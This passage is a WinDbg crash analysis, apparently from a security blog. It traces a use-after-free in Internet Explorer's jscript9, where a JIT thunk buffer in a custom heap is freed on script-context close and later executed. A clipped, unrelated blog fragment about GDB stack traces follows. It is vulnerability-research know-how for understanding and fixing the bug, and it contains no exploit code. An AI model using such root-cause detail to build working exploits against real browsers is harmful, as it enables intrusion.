068a7164 00000001 00000000 05121ea7 000004a7

068a7174 0000002c 0000001d 00000003 000004a7

068a7184 0000002c 050f76a0 00002001 00000000

068a7194 068c8b80 00000000 00000000 00000000

The relevant pointer here is 6600cc20. We can check out what exactly this
member is pointing to

0:007> dt 6600cc20

Js::FunctionBody::EnsureDynamicInterpreterThunk

So it looks like the next code path will fail when attempting to call this
function above. We can set a memory write breakpoint to see where this value
is getting messed with:

0:007> ba w 4 068a7124

Breakpoint 1 hit

eax=068d0000 ebx=068a7120 ecx=068a7160 edx=068d0fc7 esi=068a7120 edi=05b4afcc

eip=6600cbc6 esp=04ccab68 ebp=04ccab98 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

jscript9\!Js::FunctionBody::GenerateDynamicInterpreterThunk+0x22:

6600cbc6 f605405e3c6604 test byte ptr \[jscript9\!Microsoft\_JScriptEnableBits
\(663c5e40\)\],4 ds:0023:663c5e40=00

0:007> kv

ChildEBP RetAddr Args to Child

04ccab70 6600cb7c d7314443 04ccad94 068c8d20
jscript9\!Js::FunctionBody::GenerateDynamicInterpreterThunk+0x22 \(FPO:
\[0,0,4\]\)

04ccab98 6600cbf7 068a6100 04ccad94 00000003
jscript9\!Js::FunctionBody::EnsureDynamicInterpreterThunk+0x64 \(FPO: \[Non-
Fpo\]\)

04ccabac 6600cc2e 068c8d20 04ccac08 660082cd
jscript9\!Js::InterpreterStackFrame::EnsureDynamicInterpreterThunk+0x1b \(FPO:
\[Non-Fpo\]\)

04ccabb8 660082cd 068c8d20 00000003 06d26f30
jscript9\!Js::InterpreterStackFrame::DelayDynamicInterpreterThunk+0xc \(FPO:
\[2,0,0\]\)

04ccac08 66008a05 00000003 04ccad94 d73143a7
jscript9\!Js::JavascriptFunction::CallFunction<1>+0x91 \(FPO: \[Non-Fpo\]\)

04ccac7c 6600893f 018358b8 00000003 04ccad94
jscript9\!Js::JavascriptFunction::CallRootFunction+0xc1 \(FPO: \[Non-Fpo\]\)

04ccacc4 660088bf 04ccacec 00000003 04ccad94
jscript9\!ScriptSite::CallRootFunction+0x42 \(FPO: \[Non-Fpo\]\)

04ccacf4 6600d0f0 068c8d20 04ccad1c 00000000
jscript9\!ScriptSite::Execute+0x61 \(FPO: \[Non-Fpo\]\)

04ccad50 6600d02c 00000003 04ccad94 00000000
jscript9\!ScriptEngineBase::ExecuteInternal<0>+0xbb \(FPO: \[Non-Fpo\]\)

04ccad68 66e32258 0ad22de0 068c8d20 00000003
jscript9\!ScriptEngineBase::Execute+0x1c \(FPO: \[Non-Fpo\]\)

04ccada8 66e32166 00000000 04ccae74 08d50bb8
MSHTML\!CMutationObserver::PerformMicrotaskCheckpoint+0x97 \(FPO: \[Non-
Fpo\]\)

04ccae28 66bb6f27 00000000 00000000 04ccae74
MSHTML\!CObserverManager::InvokeObserversForCheckpoint+0x78 \(FPO: \[Non-
Fpo\]\)

04ccae40 66bb6297 04ccaeb8 66bb8080 08cd4f6c
MSHTML\!CMarkup::CScriptExecution::LeaveScriptExecution+0xa8 \(FPO: \[Non-
Fpo\]\)

04ccaeb0 668cfe33 04ccafc0 08cd4f38 08c60bb8
MSHTML\!CScriptData::Execute+0x33c \(FPO: \[Non-Fpo\]\)

04ccaedc 66bb77c7 04ccafc0 04ccaf00 66a03870
MSHTML\!CScriptData::ScriptData\_OnEnterTree+0x631 \(FPO: \[Non-Fpo\]\)

04ccaef4 66fa2312 04ccafc0 06bc9bd0 00000000
MSHTML\!CScriptElement::Notify+0x3e \(FPO: \[Non-Fpo\]\)

04ccb208 66eb70fb 04ccb4a0 00000000 04ccb528
MSHTML\!CSpliceTreeEngine::InsertSplice+0x1403 \(FPO: \[0,192,0\]\)

04ccb330 66ee39d9 04ccb37c 04ccb388 08d50bb8
MSHTML\!CMarkup::SpliceTreeInternal+0xba \(FPO: \[6,69,4\]\)

04ccb40c 66896db2 04ccb4a0 04ccb458 04ccb528 MSHTML\!CDoc::CutCopyMove+0x27f
\(FPO: \[5,43,4\]\)

04ccb428 66a0cc0f 04ccb4a0 04ccb458 04ccb528 MSHTML\!CDoc::Move+0x18 \(FPO:
\[Non-Fpo\]\)

04ccb4e8 66a0ca96 04ccb528 00000000 04ccb618 MSHTML\!InsertDOMNodeHelper+0xef
\(FPO: \[Non-Fpo\]\)

04ccb5a8 66a0cc73 08cd4f38 00000000 00000003
MSHTML\!CElement::InsertBeforeHelper+0x22b \(FPO: \[Non-Fpo\]\)

04ccb5cc 66a0cff3 08cd4f38 00000001 00000000
MSHTML\!CElement::InsertBefore+0x2f \(FPO: \[Non-Fpo\]\)

04ccb660 66a0cf06 0ad22de0 04ccb6a0 00000002
MSHTML\!CElement::Var\_appendChild+0xb3 \(FPO: \[Non-Fpo\]\)

The actual write is happening one instruction before this. We can see this
from the disassembly around:

6600cbbe e8ec000000 call jscript9\!InterpreterThunkEmitter::GetNextThunk
\(6600ccaf\)

6600cbc3 894304 mov dword ptr \[ebx+4\],eax

6600cbc6 f605405e3c6604 test byte ptr \[jscript9\!Microsoft\_JScriptEnableBits
\(663c5e40\)\],4

Note that EAX \(068d0000\) is being moved to \[ebx+4\] \(068a7124\). Also of
note is we are still in the MSHTML\!CElement::InsertBefore callstack, which we
can trace back to the PoC.

Thus the return value of jscript9\!InterpreterThunkEmitter::GetNextThunk must
be invalid. Lets investigate.

0:016> bp jscript9\!InterpreterThunkEmitter::GetNextThunk

Breakpoint 0 hit

eax=00000000 ebx=04e07120 ecx=055faed0 edx=04e07160 esi=04e07120 edi=063f8fcc

eip=6600ccaf esp=0542a7d0 ebp=0542a808 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!InterpreterThunkEmitter::GetNextThunk:

6600ccaf 8bff mov edi,edi

0:007> bp jscript9\!InterpreterThunkEmitter::GetNextThunk+0x33

0:007> pa

eax=00000000 ebx=04e07120 ecx=055faed0 edx=04e07160 esi=04e07120 edi=063f8fcc

eip=6600ccb1 esp=0542a7d0 ebp=0542a808 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!InterpreterThunkEmitter::GetNextThunk+0x2:

6600ccb1 55 push ebp

/// SNIP ///

eax=00000000 ebx=04e07120 ecx=055faed0 edx=04e07160 esi=04e07120 edi=063f8fcc

eip=6600ccb5 esp=0542a7c8 ebp=0542a7cc iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!InterpreterThunkEmitter::GetNextThunk+0x6:

6600ccb5 8bf1 mov esi,ecx

/// SNIP ///

eax=00000000 ebx=04e07120 ecx=000001f6 edx=04e07160 esi=055faed0 edi=063f8fcc

eip=6600ccd0 esp=0542a7c8 ebp=0542a7cc iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

jscript9\!InterpreterThunkEmitter::GetNextThunk+0x1d:

6600ccd0 8b8620010000 mov eax,dword ptr \[esi+120h\] ds:0023:055faff0=051a0000

So this function is basically returning a member of the this instance. If we
look at the heap details

0:007> \!heap -p -a 055faed0+0x120

address 055faff0 found in

\_DPH\_HEAP\_ROOT @ 1771000

in busy allocation \( DPH\_HEAP\_BLOCK: UserAddr UserSize - VirtAddr
VirtSize\)

17730d0: 55faed0 12c - 55fa000 2000

70eb8e89 verifier\!AVrfDebugPageHeapAllocate+0x00000229

779961fe ntdll\!RtlDebugAllocateHeap+0x00000030

7795a6bb ntdll\!RtlpAllocateHeap+0x000000c4

77925ca0 ntdll\!RtlAllocateHeap+0x0000023a

76ac9d45 msvcrt\!malloc+0x0000008d

6600048e jscript9\!HeapAllocator::Alloc+0x0000000e

66088a96 jscript9\!Js::ScriptContext::InitializePostGlobal+0x000000b5

660889ca jscript9\!Js::ScriptContext::Initialize+0x00000052

6608894e jscript9\!ScriptEngine::EnsureScriptContext+0x000000e3

6608881b jscript9\!ScriptSite::Init+0x00000026

660848a9 jscript9\!ScriptSite::Create+0x0000003f

6608485f jscript9\!ScriptEngine::SetScriptSite+0x00000051

6698716d MSHTML\!CActiveScriptHolder::Init+0x00000146

66986ef4 MSHTML\!CScriptCollection::GetHolderForLanguageHelper+0x000006a8

6697e3f1 MSHTML\!CScriptCollection::ParseScriptText+0x00000095

66bb6669 MSHTML\!CScriptData::CommitCode+0x00000370

66bb6204 MSHTML\!CScriptData::Execute+0x000002a9

66bb6ca4 MSHTML\!CHtmScriptParseCtx::Execute+0x00000130

669c2c60 MSHTML\!CHtmParseBase::Execute+0x00000196

And we can see there is code here

0:007> u poi\(055faed0+0x120\)

051a0000 55 push ebp

051a0001 8bec mov ebp,esp

051a0003 8b4508 mov eax,dword ptr \[ebp+8\]

051a0006 8b4014 mov eax,dword ptr \[eax+14h\]

051a0009 8b4840 mov ecx,dword ptr \[eax+40h\]

051a000c 8d4508 lea eax,\[ebp+8\]

051a000f 50 push eax

051a0010 b8a0c70066 mov eax,offset
jscript9\!Js::InterpreterStackFrame::InterpreterThunk<1> \(6600c7a0\)

Lets continue the process and break on memory access to both the member and
the this pointer \(offsets are different because they are a different
session\)

0:018> ba r1 04f5ced0 ; this ptr

0:018> ba r1 06c70000 ; this.annoying\_member

Breakpoint 2 hit

eax=04f5cfe8 ebx=00000000 ecx=04f5ced0 edx=00000000 esi=04485240 edi=04f5ced0

eip=660f7d6a esp=04e6c1a8 ebp=04e6c1b4 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!EmitBufferManager::FreeAllocations+0xf:

660f7d6a 85f6 test esi,esi

Our breakpoint for the this ptr got hit. Lets unassemble and look at the
callstack.

0:007> u 660f7d6a - 4

jscript9\!EmitBufferManager::FreeAllocations+0xb:

660f7d66 8bf9 mov edi,ecx

660f7d68 8b37 mov esi,dword ptr \[edi\]

660f7d6a 85f6 test esi,esi

660f7d6c 0f85c21a0000 jne jscript9\!EmitBufferManager::FreeAllocations+0x21
\(660f9834\)

660f7d72 84db test bl,bl

660f7d74 7403 je jscript9\!EmitBufferManager::FreeAllocations+0x1a
\(660f7d79\)

660f7d76 832700 and dword ptr \[edi\],0

660f7d79 5f pop edi

0:007> kv

ChildEBP RetAddr Args to Child

04e6c1b4 660f8629 00000000 05bd0f68 660f8b2c
jscript9\!EmitBufferManager::FreeAllocations+0xf \(FPO: \[Non-Fpo\]\)

04e6c1c0 660f8b2c 7ab2217d 04f3a8b8 05bd0f68
jscript9\!InterpreterThunkEmitter::Close+0x30 \(FPO: \[0,0,4\]\)

04e6c1f0 660f7d1a 7ab22291 04f3cf98 04f3a8b8
jscript9\!Js::ScriptContext::InternalClose+0x76 \(FPO: \[Non-Fpo\]\)

04e6c21c 660f8d53 00000000 00000000 660f8a3c
jscript9\!Js::ScriptContext::Close+0x38 \(FPO: \[Non-Fpo\]\)

04e6c228 660f8a3c 7ab222fd 04e6c278 660f8cc0
jscript9\!Js::ScriptContext::MarkForClose+0x3d \(FPO: \[0,0,4\]\)

04e6c270 660f883f 04e6c2cc 04ea2dfc 07b83ac8 jscript9\!ScriptSite::Close+0x147
\(FPO: \[Non-Fpo\]\)

04e6c298 660f7e0b 7ab2224d 04e6c2cc 660f7de0
jscript9\!ScriptEngine::CloseInternal+0xbc \(FPO: \[Non-Fpo\]\)

04e6c2c0 66b7d47b 04ea2dfc 04e6c2f0 65ffa790
jscript9\!ScriptEngine::Close+0x2b \(FPO: \[Non-Fpo\]\)

04e6c2e8 66b7dd05 07b83ac8 66b7db00 04e6c320
MSHTML\!CActiveScriptHolder::Close+0x6b \(FPO: \[Non-Fpo\]\)

04e6c318 66b7d4f8 08d44fa8 08d44fa8 050adbb8
MSHTML\!CJScript9Holder::Close+0x220 \(FPO: \[Non-Fpo\]\)

04e6c334 67059005 00000000 66ebe337 06b78f68
MSHTML\!CScriptCollection::~CScriptCollection+0x3f \(FPO: \[Non-Fpo\]\)

04e6c34c 6698199a 08d44fa8 04e6c3b8 667fda00
MSHTML\!CScriptCollection::SubRelease+0x83631c

04e6c3b0 66981431 06abdbd0 091cef48 06abdbec
MSHTML\!CMarkup::OnLoadStatusDone+0x52c \(FPO: \[Non-Fpo\]\)

04e6c3c4 6698078b 00000004 06bd2f98 04e6c824
MSHTML\!CMarkup::OnLoadStatus+0xfa \(FPO: \[Non-Fpo\]\)

04e6c808 6697a322 10000019 04e6c860 667fe541 MSHTML\!CProgSink::DoUpdate+0x4c7
\(FPO: \[Non-Fpo\]\)

04e6c814 667fe541 091cef48 091cef48 06a7acc8
MSHTML\!CProgSink::OnMethodCall+0x12 \(FPO: \[2,0,0\]\)

04e6c860 667fde4a 7aa93778 04e6c92c 00008002
MSHTML\!GlobalWndOnMethodCall+0x16d \(FPO: \[Non-Fpo\]\)

04e6c8b0 77a6c4e7 01300252 00008002 00000000 MSHTML\!GlobalWndProc+0x2e5
\(FPO: \[Non-Fpo\]\)

04e6c8dc 77a6c5e7 667fd020 01300252 00008002 user32\!InternalCallWinProc+0x23

So it does indeed appear that our this pointer is being freed.

As we have broken at the top of this free, we can still inspect the member
that is causing our headaches and observe it still contains code

0:007> dd poi\(04f5ced0+120\)

06c70000 8bec8b55 408b0845 40488b14 5008458d

06c70010 00c7a0b8 ffe1ff66 0fd2e9d0 ff900000

06c70020 0fcae9d0 ff900000 0fc2e9d0 ff900000

06c70030 0fbae9d0 ff900000 0fb2e9d0 ff900000

06c70040 0faae9d0 ff900000 0fa2e9d0 ff900000

06c70050 0f9ae9d0 ff900000 0f92e9d0 ff900000

06c70060 0f8ae9d0 ff900000 0f82e9d0 ff900000

06c70070 0f7ae9d0 ff900000 0f72e9d0 ff900000

Now lets get out of FreeAllocations\(\)

0:007> gu

And inspect again

0:007> dd poi\(04f5ced0+120\)

06c70000 ???????? ???????? ???????? ????????

06c70010 ???????? ???????? ???????? ????????

06c70020 ???????? ???????? ???????? ????????

06c70030 ???????? ???????? ???????? ????????

06c70040 ???????? ???????? ???????? ????????

06c70050 ???????? ???????? ???????? ????????

06c70060 ???????? ???????? ???????? ????????

06c70070 ???????? ???????? ???????? ????????

Cool\! Our memory has indeed become free'd. Lets continue execution for good
measure.

0:007> g

\(820.9ec\): Access violation - code c0000005 \(first chance\)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=06c70000 ebx=046f9d20 ecx=6600c76d edx=04f50f84 esi=00000003 edi=04e6c774

eip=06c70000 esp=04e6c59c ebp=04e6c5e8 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

06c70000 ?? ???

What is odd now, is that although our memory breakpoint didnt fire again,
there is no pageheap information about 06c70000. Lets start from the beginning
and just set a breakpoint where it appears our ptr has been free'd.

0:015> bp jscript9\!EmitBufferManager::FreeAllocations

0:015> g

\(6ac.93c\): C++ EH exception - code e06d7363 \(first chance\)

Breakpoint 0 hit

eax=056fafe8 ebx=00000000 ecx=056faed0 edx=00000000 esi=056faed0 edi=056308b8

eip=666c7d5b esp=0562c120 ebp=0562c158 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!EmitBufferManager::FreeAllocations:

666c7d5b 8bff mov edi,edi

0:007> dd @ecx

056faed0 04da5240 05630a60 00000000 665d21c8

056faee0 0572cfd0 0572cfd0 056faee8 056faee8

056faef0 056faef0 056faef0 056faef8 056faef8

056faf00 056faf00 056faf00 00000020 00000000

056faf10 00000000 0000001f 00000000 c0000000

056faf20 00000000 00000000 01000000 00000000

056faf30 00000001 00001000 c0c0c000 05630a60

056faf40 056faf40 056faf40 056faf48 056faf48

0:007> dd @ecx+120

056faff0 053e0000 05630a60 000001f6 d0d0d0d0

056fb000 ???????? ???????? ???????? ????????

056fb010 ???????? ???????? ???????? ????????

056fb020 ???????? ???????? ???????? ????????

056fb030 ???????? ???????? ???????? ????????

056fb040 ???????? ???????? ???????? ????????

056fb050 ???????? ???????? ???????? ????????

056fb060 ???????? ???????? ???????? ????????

0:007> dd poi\(@ecx+120\)

053e0000 8bec8b55 408b0845 40488b14 5008458d

053e0010 5dc7a0b8 ffe1ff66 0fd2e9d0 ff900000

053e0020 0fcae9d0 ff900000 0fc2e9d0 ff900000

053e0030 0fbae9d0 ff900000 0fb2e9d0 ff900000

053e0040 0faae9d0 ff900000 0fa2e9d0 ff900000

053e0050 0f9ae9d0 ff900000 0f92e9d0 ff900000

053e0060 0f8ae9d0 ff900000 0f82e9d0 ff900000

053e0070 0f7ae9d0 ff900000 0f72e9d0 ff900000

Here, poi\(@ecx+120\) is code as we expect. Lets set a memory breakpoint on
056faff0, which contains the ptr to that code.

0:007> ba w1 056faff0

0:007> g

Breakpoint 1 hit

eax=056faedc ebx=00000000 ecx=056fafb8 edx=04da5210 esi=056faed0 edi=056308b8

eip=666c8630 esp=0562c128 ebp=0562c158 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!InterpreterThunkEmitter::Close+0x37:

666c8630 83a62801000000 and dword ptr \[esi+128h\],0 ds:0023:056faff8=000001f6

0:007> dd 056faff0

056faff0 00000000 05630a60 000001f6 d0d0d0d0

056fb000 ???????? ???????? ???????? ????????

056fb010 ???????? ???????? ???????? ????????

056fb020 ???????? ???????? ???????? ????????

056fb030 ???????? ???????? ???????? ????????

056fb040 ???????? ???????? ???????? ????????

056fb050 ???????? ???????? ???????? ????????

056fb060 ???????? ???????? ???????? ????????

Ok, so our ptr has been nulled out in the object inside
jscript9\!InterpreterThunkEmitter::Close. The origin of this appears to be the
destructor for CScriptCollection \(the same as our free above\)

0:007> kv

ChildEBP RetAddr Args to Child

0562c128 666c8b2c ef1f07e1 056308b8 063e0f68
jscript9\!InterpreterThunkEmitter::Close+0x37 \(FPO: \[0,0,4\]\)

0562c158 666c7d1a ef1f073d 00788f98 056308b8
jscript9\!Js::ScriptContext::InternalClose+0x76 \(FPO: \[Non-Fpo\]\)

0562c184 666c8d53 00000000 00000000 666c8a3c
jscript9\!Js::ScriptContext::Close+0x38 \(FPO: \[Non-Fpo\]\)

0562c190 666c8a3c ef1f0761 0562c1e0 666c8cc0
jscript9\!Js::ScriptContext::MarkForClose+0x3d \(FPO: \[0,0,4\]\)

0562c1d8 666c883f 0562c234 00786dfc 09402ac8 jscript9\!ScriptSite::Close+0x147
\(FPO: \[Non-Fpo\]\)

0562c200 666c7e0b ef1f0491 0562c234 666c7de0
jscript9\!ScriptEngine::CloseInternal+0xbc \(FPO: \[Non-Fpo\]\)

0562c228 6b0bd47b 00786dfc 0562c258 665ca790
jscript9\!ScriptEngine::Close+0x2b \(FPO: \[Non-Fpo\]\)

0562c250 6b0bdd05 09402ac8 6b0bdb00 0562c288
MSHTML\!CActiveScriptHolder::Close+0x6b \(FPO: \[Non-Fpo\]\)

0562c280 6b0bd4f8 08aeefa8 08aeefa8 0586dbb8
MSHTML\!CJScript9Holder::Close+0x220 \(FPO: \[Non-Fpo\]\)

0562c29c 6b599005 00000000 6b3fe337 07459f68
MSHTML\!CScriptCollection::~CScriptCollection+0x3f \(FPO: \[Non-Fpo\]\)

0562c2b4 6aec199a 08aeefa8 0562c320 6ad3da00
MSHTML\!CScriptCollection::SubRelease+0x83631c

0562c318 6aec1431 0739ebd0 08acef48 0739ebec
MSHTML\!CMarkup::OnLoadStatusDone+0x52c \(FPO: \[Non-Fpo\]\)

0562c32c 6aec078b 00000004 075d4f98 0562c78c
MSHTML\!CMarkup::OnLoadStatus+0xfa \(FPO: \[Non-Fpo\]\)

0562c770 6aeba322 10000019 0562c7c8 6ad3e541 MSHTML\!CProgSink::DoUpdate+0x4c7
\(FPO: \[Non-Fpo\]\)

0562c77c 6ad3e541 08acef48 08acef48 0735bcc8
MSHTML\!CProgSink::OnMethodCall+0x12 \(FPO: \[2,0,0\]\)

0562c7c8 6ad3de4a ef37235b 0562c894 00008002
MSHTML\!GlobalWndOnMethodCall+0x16d \(FPO: \[Non-Fpo\]\)

0562c818 7684c4e7 000e02de 00008002 00000000 MSHTML\!GlobalWndProc+0x2e5
\(FPO: \[Non-Fpo\]\)

0562c844 7684c5e7 6ad3d020 000e02de 00008002 user32\!InternalCallWinProc+0x23

0562c8bc 7684cc19 00000000 6ad3d020 000e02de
user32\!UserCallWinProcCheckWow+0x14b \(FPO: \[Non-Fpo\]\)

0562c91c 7684cc70 6ad3d020 00000000 0562fafc
user32\!DispatchMessageWorker+0x35e \(FPO: \[Non-Fpo\]\)

0562c92c 6ddcf7c8 0562c96c 0077ee48 051cefe0 user32\!DispatchMessageW+0xf
\(FPO: \[Non-Fpo\]\)

0562fafc 6df1f738 0562fbc8 6df1f3b0 00780ff0
IEFRAME\!CTabWindow::\_TabWindowThreadProc+0x464 \(FPO: \[Non-Fpo\]\)

0562fbbc 7643e61c 0077ee48 0562fbe0 6df230d0
IEFRAME\!LCIETab\_ThreadProc+0x37b \(FPO: \[Non-Fpo\]\)

0562fbd4 70833991 00780ff0 00000000 00000000
iertutil\!\_IsoThreadProc\_WrapperToReleaseScope+0x1c \(FPO: \[Non-Fpo\]\)

0562fc0c 760cee6c 050eefe8 0562fc58 77b7399b
IEShims\!NS\_CreateThread::DesktopIE\_ThreadProc+0x94 \(FPO: \[Non-Fpo\]\)

0562fc18 77b7399b 050eefe8 72ca3051 00000000 kernel32\!BaseThreadInitThunk+0xe
\(FPO: \[Non-Fpo\]\)

0562fc58 77b7396e 70833900 050eefe8 ffffffff
ntdll\!\_\_RtlUserThreadStart+0x70 \(FPO: \[Non-Fpo\]\)

0562fc70 00000000 70833900 050eefe8 00000000 ntdll\!\_RtlUserThreadStart+0x1b
\(FPO: \[Non-Fpo\]\)

This looks reasonably normal. So what gives?

The trick is in the callstack we examined previously, where we see our
headache region being freed. Lets take another look

60f8629 00000000 05bd0f68 660f8b2c
jscript9\!EmitBufferManager::FreeAllocations+0xf \(FPO: \[Non-Fpo\]\)

04e6c1c0 660f8b2c 7ab2217d 04f3a8b8 05bd0f68
jscript9\!InterpreterThunkEmitter::Close+0x30 \(FPO: \[0,0,4\]\)

04e6c1f0 660f7d1a 7ab22291 04f3cf98 04f3a8b8
jscript9\!Js::ScriptContext::InternalClose+0x76 \(FPO: \[Non-Fpo\]\)

04e6c21c 660f8d53 00000000 00000000 660f8a3c
jscript9\!Js::ScriptContext::Close+0x38 \(FPO: \[Non-Fpo\]\)

04e6c228 660f8a3c 7ab222fd 04e6c278 660f8cc0
jscript9\!Js::ScriptContext::MarkForClose+0x3d \(FPO: \[0,0,4\]\)

04e6c270 660f883f 04e6c2cc 04ea2dfc 07b83ac8 jscript9\!ScriptSite::Close+0x147
\(FPO: \[Non-Fpo\]\)

04e6c298 660f7e0b 7ab2224d 04e6c2cc 660f7de0
jscript9\!ScriptEngine::CloseInternal+0xbc \(FPO: \[Non-Fpo\]\)

04e6c2c0 66b7d47b 04ea2dfc 04e6c2f0 65ffa790
jscript9\!ScriptEngine::Close+0x2b \(FPO: \[Non-Fpo\]\)

04e6c2e8 66b7dd05 07b83ac8 66b7db00 04e6c320
MSHTML\!CActiveScriptHolder::Close+0x6b \(FPO: \[Non-Fpo\]\)

04e6c318 66b7d4f8 08d44fa8 08d44fa8 050adbb8
MSHTML\!CJScript9Holder::Close+0x220 \(FPO: \[Non-Fpo\]\)

04e6c334 67059005 00000000 66ebe337 06b78f68
MSHTML\!CScriptCollection::~CScriptCollection+0x3f \(FPO: \[Non-Fpo\]\)

04e6c34c 6698199a 08d44fa8 04e6c3b8 667fda00
MSHTML\!CScriptCollection::SubRelease+0x83631c

04e6c3b0 66981431 06abdbd0 091cef48 06abdbec
MSHTML\!CMarkup::OnLoadStatusDone+0x52c \(FPO: \[Non-Fpo\]\)

04e6c3c4 6698078b 00000004 06bd2f98 04e6c824
MSHTML\!CMarkup::OnLoadStatus+0xfa \(FPO: \[Non-Fpo\]\)

04e6c808 6697a322 10000019 04e6c860 667fe541 MSHTML\!CProgSink::DoUpdate+0x4c7
\(FPO: \[Non-Fpo\]\)

04e6c814 667fe541 091cef48 091cef48 06a7acc8
MSHTML\!CProgSink::OnMethodCall+0x12 \(FPO: \[2,0,0\]\)

04e6c860 667fde4a 7aa93778 04e6c92c 00008002
MSHTML\!GlobalWndOnMethodCall+0x16d \(FPO: \[Non-Fpo\]\)

04e6c8b0 77a6c4e7 01300252 00008002 00000000 MSHTML\!GlobalWndProc+0x2e5
\(FPO: \[Non-Fpo\]\)

04e6c8dc 77a6c5e7 667fd020 01300252 00008002 user32\!InternalCallWinProc+0x23

What does jscript9\!EmitBufferManager::FreeAllocations do exactly?

Well inspecting in IDA, we can see it does one of two things

\(1\)

push dword ptr \[esi\] ; struct CustomHeap::Allocation \*

mov ecx, eax ; this

call ?Free@Heap@CustomHeap@@QAE\_NPAUAllocation@2@@Z ;
CustomHeap::Heap::Free\(CustomHeap::Allocation \*\)

jmp short loc\_10109839

; END OF FUNCTION CHUNK FOR ?FreeAllocations@EmitBufferManager@@AAEX\_N@Z

\--- OR ---

\(2\)

push dword ptr \[esi\]

mov ecx, eax ; this

call ?Decommit@Heap@CustomHeap@@QAE\_NPAUAllocation@2@@Z ;
CustomHeap::Heap::Decommit\(CustomHeap::Allocation \*\)

jmp loc\_10109839

; END OF FUNCTION CHUNK FOR ?FreeAllocations@EmitBufferManager@@AAEX\_N@Z

Ok. So, we dont have pageheap information because the fault is occuring inside
a custom heap implementation in JSCRIPT9. That makes some sense.

We now know that we are attemting to access memory that has been freed by
CustomHeap::Heap::Free, but where was it allocated?

Logically if it was free'd with jscript9\!EmitBufferManager::FreeAllocations,
it would be allocated by something like jscript9\!EmitBufferManager::

Browsing the symbols we find the releveant funciton NewAllocation and set our
breakpoint.

0:015> bp jscript9\!EmitBufferManager::NewAllocation

0:015> g

ModLoad: 6c410000 6c44c000 C:\Windows\system32\OLEACC.DLL

ModLoad: 75a00000 75a5f000 C:\Windows\system32\SXS.DLL

ModLoad: 6c470000 6c4fc000 C:\Windows\system32\uiautomationcore.dll

ModLoad: 77ca0000 77ca5000 C:\Windows\system32\PSAPI.DLL

Breakpoint 0 hit

eax=0553bcf8 ebx=07365000 ecx=0614aed0 edx=07365040 esi=00000000 edi=0614aed0

eip=662f1688 esp=0553bca8 ebp=0553bccc iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!EmitBufferManager::NewAllocation:

662f1688 6a08 push 8

Cool lets go up one level now

0:007> gu

eax=06185240 ebx=07725000 ecx=65fa16df edx=00000018 esi=00000000 edi=0644eed0

eip=65fa1627 esp=0570bfd8 ebp=0570bfec iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!EmitBufferManager::AllocateBuffer+0x37:

65fa1627 8bf0 mov esi,eax

Alright so lets check out our return value

0:007> dd @eax

05055240 05055230 00000000 00001000 00000000

05055250 00000000 00000000 00000000 00000000

05055260 00000000 00000000 00000000 00000000

05055270 00000000 00000000 00000000 00000000

05055280 00000000 00000000 00000000 00000000

05055290 00000000 00000000 00000000 00000000

050552a0 00000000 00000000 00000000 00000000

050552b0 00000000 00000000 00000000 00000000

0:007> dd poi\(@eax\)

05055230 05055218 00000000 07860000 00001000

05055240 05055230 00000000 00001000 00000000

05055250 00000000 00000000 00000000 00000000

05055260 00000000 00000000 00000000 00000000

05055270 00000000 00000000 00000000 00000000

05055280 00000000 00000000 00000000 00000000

05055290 00000000 00000000 00000000 00000000

050552a0 00000000 00000000 00000000 00000000

0:007> \!heap -p -a @eax

0:007> \!heap -p -a poi\(@eax\)

0:007> \!heap -p -a poi\(@eax\)+8

We can see our suspicious heap value lurking at an offset in there, and
predictably there is no awesome user stack trace info from pageheap. Lets
follow it out another level

// Snip //

0:007> p

eax=05055240 ebx=07365000 ecx=07860000 edx=00000018 esi=0614aed0 edi=062eafcc

eip=66393240 esp=0553bce8 ebp=0553bd00 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

jscript9\!InterpreterThunkEmitter::NewThunkBlock+0x26:

66393240 8b7df8 mov edi,dword ptr \[ebp-8\] ss:0023:0553bcf8=07860000

And lets continue the process

0:007> g

\(86c.e10\): Access violation - code c0000005 \(first chance\)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=07860000 ebx=07349d20 ecx=662cc76d edx=06130f84 esi=00000003 edi=0553c464

eip=07860000 esp=0553c28c ebp=0553c2d8 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

07860000 ?? ???

So we have seen that we have a buffer allocated in a custom heap
implementation with jscript9\!EmitBufferManager::NewAllocation that contains
executable code, which is then freed by
jscript9\!EmitBufferManager::FreeAllocations. This memory is then used again
in jscript9\!NativeCodeGenerator::CheckCodeGenThunk causing our crash in a
use-after-free type scenerio.

<img src='img/Temp2_5345.png' alt='New Call-to-action' />

# Crash Dump Analysis » Blog Archive » GDB Annoyances: Incomplete Stack Trace

**Created:**| _4/7/2012 11:11:16 AM_  
---|---  
**Updated:**| _4/7/2012 11:11:16 AM_  
**Author:**| __  
**Tags:**| _Debugging tracing_  
  

Users of WinDbg debugger accustomed to full thread stack traces will wonder
whether a thread starts from _main_ :

`(gdb) where  
#0 0x000000010d3b0e90 in bar () at main.c:15  
#1 0x000000010d3b0ea9 in foo () at main.c:20  
